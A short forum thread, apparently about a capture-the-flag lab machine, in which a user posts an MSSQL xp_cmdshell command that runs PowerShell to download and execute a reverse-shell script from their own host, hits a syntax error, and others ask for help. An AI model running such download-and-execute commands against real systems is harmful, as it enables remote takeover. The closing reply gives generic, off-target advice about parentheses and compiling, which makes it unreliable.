Hi all. I don’t understand what I’m doing wrong.
I’ve gotten to the point right before privescalation. I enter the following command, and get the error below.
{mymachine}#: xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.{myIP}/shell.ps1");
bash: syntax error near unexpected token `(’
Nevermind. I was putting the command in the wrong shell.
Hi, I’m stuck at the same stage with the same command, how did you run the reverse shell?
If a syntax error appears, check to make sure that the parentheses are matched up correctly. If one end is missing or lined up incorrectly, then type in the correction and check to make sure that the code can be compiled. Keeping the code as organized as possible also helps.
Regards,
Rachel Gomez